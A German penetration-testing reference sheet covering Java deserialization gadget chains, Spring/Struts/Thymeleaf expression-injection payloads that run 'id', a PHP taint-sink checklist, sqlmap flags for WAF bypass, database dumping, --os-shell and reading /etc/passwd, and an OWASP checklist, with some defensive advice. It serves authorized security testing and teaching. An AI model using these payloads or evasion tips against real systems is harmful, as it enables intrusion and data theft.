Server-Side-Sprachen — Java, PHP, SQLmap.
Stack-spezifische Notizen zu Java und PHP — Deserialisierungs-Gadgets, EL-Injection, Tainted-Input-Flow — mit SQLmap-Operator-Flags und der OWASP-Testing-Checkliste.
Java — Deserialisierungs-Gadgets
- ysoserial-Gadget-Chains. CommonsCollections1/5/6, CommonsBeanutils1, Spring1/2, Click1, MozillaRhino1/2. Jede Chain hängt von spezifischen Dependency-Versionen im Classpath ab.
- Wo sie feuern. RMI/JMX (Port 1099/9999), JNDI-Lookup, alles was
ObjectInputStream.readObject()auf Angreifer-Bytes aufruft — RMI, JMS, EJB-Invocation, versteckt in HTTP-Cookie / Session / Form-Parameter. - JEP-290-Landschaft. Post-JDK-9 brachte Serial-Filtering. Die meisten Apps konfigurieren keine Filter — noch sperrangelweit.
jdk.serialFilterSysprop oder per-StreamObjectInputFilter. - Discovery-Prozess. Java-Version identifizieren, Dependencies listen (
jar tfauf lib/), gegen bekannten Gadget-Katalog matchen, zuerst DNS-Callback-Payload senden. - Verteidigung. Weg von Java-native-Serialization, hin zu JSON. Wenn nicht möglich, Safelist-Filter und Netz-Bytes ohne Auth nie deserialisieren.
Java — Expression-Language-Injection
- Spring (SpEL).
${T(java.lang.Runtime).getRuntime().exec('id')}in jedem Template/Header, den Spring EL prozessiert. - Struts2 OGNL.
%{(#_='multipart/form-data').(...)}— historische Equifax-Klassen-Chain. Erscheint noch in Legacy-Struts. - Thymeleaf. SSTI wenn User-Input in Template-Name fließt:
~{__${T(Runtime).getRuntime().exec('id')}__::x}. - Test. Zuerst
${7*7}injizieren.49im Output = SSTI bestätigt; mit Class-Lookup fortfahren.
PHP — Taint-Flow-Review-Checkliste
- Sources.
$_GET,$_POST,$_COOKIE,$_FILES,$_SERVER['HTTP_*'],file_get_contents('php://input'). - Sinks: Code-Execution.
eval,assert,preg_replacemit/e-Flag (Legacy),create_function,include/require(_once) mit Variable. - Sinks: Command-Execution.
exec,system,passthru,shell_exec, Backticks,popen,proc_open. - Sinks: File.
file_put_contents,fopen,copy,move_uploaded_file,unlink. - Sinks: SQL. Jedes
mysqli_query/PDO->querymit Konkatenation.PDO->prepare+ Bind ist sicher. - Sink: unserialize.
unserialize($_COOKIE['x'])+ jede Klasse mit__destruct/__wakeup/__toString= Gadget-Chain. PHPGGC für bekannte Chains.
sqlmap — produktionssichere Flags
- Erst nur Detektion.
sqlmap -u "URL" --batch --random-agent --level=3 --risk=1. Risk nicht eskalieren bis Detektion bestätigt ist. - WAF-Bypass-Tamper-Scripts.
--tamper=between,randomcase,space2commentgenerisch;--tamper=charunicodeencodefür nginx-fronted; 2–3 max kombinieren — mehr bricht Detektion. - Time-Based-Tuning.
--time-sec=10reduziert False-Positives auf jittery Netz.--technique=BTwenn Union-Based unzuverlässig. - Authentifiziert.
--cookie="session=..."oder--load-cookies=cookies.txt.--csrf-token=tokenmit--csrf-urlfür Token-geschützte Forms. - Extraktion.
--current-user --current-db --hostnamezuerst (klein, low-risk). Erst dann--dbs --tables --columns -D foo -T users --dump. - Post-Exploit.
--os-shellerfordert DB-User als DBA + beschreibbares Webroot.--file-read=/etc/passwdfür Proof ohne Command-Execution. - Nicht.
--risk=3in Produktion ohne explizite Erlaubnis; einige Payloads updaten/löschen Daten.
OWASP-Testing-Checkliste — Minimum-Pre-Flight
- Authentifizierung: 0/2FA-Bypass, schwache Password-Policy, Default-Creds.
- Session: Token-Entropie, Fixation, Timeout, Logout-Invalidation.
- Autorisierung: vertikal (Admin-Funktionen), horizontal (Peer-IDOR), fehlende Function-Level.
- Input: jede Klasse aus OWASP-Katalog gegen jeden Parameter getestet.
- Crypto: TLS-Posture (sslyze), Hashing (bcrypt vs MD5), Storage von Secrets.
- Error-Handling: Stack-Traces, Debug-Pages, verbose 500er.
- Logging: werden Events erfasst, kann Angreifer disablen, kann Verteidiger rekonstruieren.
- Business-Logik: End-to-End-Walkthrough pro Rolle.
FaustregelFür Java-Apps lib/-Verzeichnis dumpen und gegen ysoserial-Gadget-Katalog matchen bevor irgendein Payload gesendet wird. Random-Gadgets blind senden generiert EDR-Noise und verbrennt Detektionsbudget.
Verwandte Notizen in dieser Domain
Von der Referenz zum Befund